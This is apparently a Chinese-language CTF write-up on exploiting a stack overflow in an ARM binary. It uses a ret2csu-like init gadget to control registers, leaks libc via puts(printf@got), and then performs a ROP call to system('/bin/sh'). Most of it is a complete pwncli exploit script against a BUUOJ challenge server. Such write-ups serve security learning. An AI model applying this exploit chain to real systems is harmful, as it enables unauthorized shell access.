总结
利用了一个组合拳gadget
:
1
2
3
4
5
6
7
|
.text:00010620 MOV R2, R9
.text:00010624 MOV R1, R8
.text:00010628 MOV R0, R7
.text:0001062C BLX R3
.text:00010630 CMP R4, R6
.text:00010634 BNE loc_10618
.text:00010638 POP {R4-R10,PC}
|
这一段gadget
在init
函数,其实和ret2csu
有点像,可以通过r7 r8 r9
控制r0 r1 r2
,还能控制pc
。
checksec
漏洞点
拍在脸上的栈溢出:
利用思路
结合最上面总结的那两个gadgets
,利用过程为:
- 控制
r7 r8 r9
而间接控制r0 r1 r2
,而使用0x000103a4 : pop {r3, pc}
控制r3
- 调用
puts(printf@got)
泄露出libc
地址
- 再一次执行
main
函数,rop
执行system("/bin/sh")
即可
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: roderick
from pwncli import *
import shlex
context.binary = "./1"
libc = ELF("libc-2.23.so")
io = remote("node4.buuoj.cn", 25228)
io.sendafter("your name:\n\n", flat({
36:[
0x000103a4,
0x103e0,
0x00010638,
0,0,0,0x21010,0,0,0,0x00010628,
0, 0, 0, 0, 0, 0, 0, 0x10590]
}))
io.recvline_startswith("hello")
m = io.recvline()
log_ex(f"Get msg: {m}")
libc_base = u32_ex(m[:4]) - 0x00047b30
log_libc_base_addr(libc_base)
libc.address = libc_base
io.sendafter("your name:\n\n", flat({
36:[
libc_base + 0x0010dc84,
libc.search(b"/bin/sh").__next__(),
libc.sym.system]
}))
# 0x0011e54c : pop {r0, pc}
io.interactive()
|
远程打:
引用与参考
1、My Blog
2、Ctf Wiki
3、pwncli